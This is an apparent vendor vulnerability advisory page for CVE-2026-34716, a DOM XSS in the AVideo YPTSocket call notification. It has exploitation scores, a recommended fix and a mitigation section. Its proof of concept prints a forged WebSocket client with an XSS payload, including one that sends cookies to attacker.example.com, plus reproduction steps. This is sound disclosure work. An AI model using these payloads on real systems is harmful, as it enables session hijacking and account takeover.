Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
MEDIUM severity

CVE-2026-34716 wwbn/avideo

MEDIUM

CVE-2026-34716 is a medium-severity (CVSS 6.4) Cross-site Scripting (XSS) vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.

AVideo: DOM XSS via Unsanitized Display Name in WebSocket Call Notification

Also known asGHSA-w4hp-w536-jg64
Published
Mar 31, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-34716.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs21th percentile — riskier than 21% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-34716 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The AVideo YPTSocket plugin's caller feature renders incoming call notifications using the jQuery Toast Plugin, passing the caller's display name directly as the heading parameter. The toast plugin constructs the heading as raw HTML ('<h2>' + heading + '</h2>') and inserts it into the DOM via jQuery's .html() method, which parses and executes any embedded HTML or script content. An attacker can set their display name to an XSS payload and trigger code execution on any online user's browser simply by initiating a call - no victim interaction is required beyond being connected to the WebSocket.

Details

When a call notification arrives via WebSocket, the caller's identity is extracted from the JSON message:

// plugin/YPTSocket/caller.js:73
userIdentification = json.from_identification;

This value is passed directly to the jQuery Toast Plugin as the heading:

// plugin/YPTSocket/caller.js:89
heading: userIdentification,

Inside the jQuery Toast Plugin, the heading is rendered as raw HTML:

// node_modules/jquery-toast-plugin/src/jquery.toast.js:60
// Constructs: '<h2>' + heading + '</h2>'
// Then inserts via .html()

jQuery's .html() method parses the string as HTML and executes any script-bearing elements (such as <img onerror>, <svg onload>, etc.).

There is a secondary injection vector in the same file where the full JSON message is placed inside a single-quoted onclick attribute:

// plugin/YPTSocket/caller.js:121-123
imageAndButton += '<button class="btn btn-danger btn-circle incomeCallBtn" onclick=\'hangUpCall(' + JSON.stringify(json) + ')\'><i class="fas fa-phone-slash"></i></button>';
if (isJsonReceivingCall(json)) {
    imageAndButton += '<button class="btn btn-success btn-circle incomeCallBtn" onclick=\'acceptCall(' + JSON.stringify(json) + ')\'><i class="fas fa-phone"></i></button>';

JSON.stringify(json) is placed inside a single-quoted onclick attribute. If any field in json contains a single quote, it breaks the attribute boundary and allows attribute injection.

Proof of Concept

Important note on the attack vector: User::setName() at objects/user.php:2069 uses strip_tags(), so the display name IS sanitized on the server side when set through the normal UI or API. However, the WebSocket server relays call messages as-is without server-side validation of the from_identification field. A malicious WebSocket client can send any from_identification value directly over the WebSocket protocol, bypassing the server-side sanitization entirely. The attack requires a custom WebSocket client, not the normal UI.

Step 1: Connect a malicious WebSocket client and send a forged call message

The following JavaScript connects directly to the AVideo WebSocket server and sends a call message with an XSS payload in the from_identification field:

// Malicious WebSocket client - bypasses server-side strip_tags() sanitization
const ws = new WebSocket('wss://your-avideo-instance.com:8888');

ws.onopen = function() {
    // Send a forged call message with HTML in from_identification
    const payload = {
        msg: 'call',
        from_users_id: 1,
        to_users_id: VICTIM_USER_ID,
        from_identification: '<img src=x onerror=alert(document.cookie)>',
        resourceURL: 'https://your-avideo-instance.com/meet/123'
    };
    ws.send(JSON.stringify(payload));
    console.log('Forged call message sent');
};

Step 2: When the victim receives the call notification, the toast renders from_identification as HTML via jQuery's .html(). The <img> tag triggers the onerror handler, executing JavaScript in the victim's browser context.

More advanced payload for credential exfiltration:

// Credential exfiltration via forged WebSocket call
const ws = new WebSocket('wss://your-avideo-instance.com:8888');
ws.onopen = function() {
    ws.send(JSON.stringify({
        msg: 'call',
        from_users_id: 1,
        to_users_id: VICTIM_USER_ID,
        from_identification: '<img src=x onerror="fetch(\'https://attacker.example.com/log?\'+document.cookie)">',
        resourceURL: 'https://your-avideo-instance.com/meet/123'
    }));
};

Reproduction steps:

  1. Identify the WebSocket server address for the target AVideo instance (typically port 8888).
  2. Connect a custom WebSocket client to the server.
  3. Send a call message with from_identification set to <img src=x onerror=alert(document.cookie)>.
  4. Ensure a victim user is online and connected to the WebSocket (any authenticated page with YPTSocket loaded).
  5. Observe the XSS payload executing in the victim's browser when the toast notification appears. No victim interaction is required.

Impact

This is a zero-click stored XSS vulnerability. The victim does not need to click anything - merely being connected to the WebSocket (which happens automatically on any authenticated page load) is sufficient for the attack to succeed. The attacker controls when the payload fires by initiating a call.

Consequences include:

  • Session hijacking: Steal the victim's session cookie and impersonate them.
  • Account takeover: If the victim is an administrator, the attacker gains full platform control.
  • Worm propagation: The XSS payload can automatically change the victim's display name to the same payload and call other online users, creating a self-propagating worm.
  • Keylogging and credential theft: Inject persistent scripts that capture keystrokes on the current page.

The attack is zero-click and can target any specific online user.

  • CWE: CWE-79 (Cross-Site Scripting - DOM-based)

Recommended Fix

HTML-escape the heading value before passing it to $.toast() at plugin/YPTSocket/caller.js:89:

heading: $('<span>').text(userIdentification).html(),

This uses jQuery's .text() to safely encode the user-controlled string, then extracts the escaped HTML via .html().


Found by aisafe.io

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐘Packagistwwbn/avideoall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of wwbn/avideo has shipped for CVE-2026-34716 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-34716 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-34716. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The AVideo YPTSocket plugin's caller feature renders incoming call notifications using the jQuery Toast Plugin, passing the caller's display name directly as the `heading` parameter. The toast plugin constructs the heading as raw HTML (`'<h2>' + heading + '</h2>'`) and inserts it into the DOM via jQuery's `.html()` method, which parses and executes any embedded HTML or script content. An attacker can set their display name to an XSS payload and trigger code execution on any online user's browser simply by initiating a call - no victim interaction is required beyond being connected
O3 Security · Impact-Aware SCA

Is CVE-2026-34716 in your dependencies?

O3 Security finds CVE-2026-34716 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-34716: wwbn/avideo (Medium 6.4) | O3 Security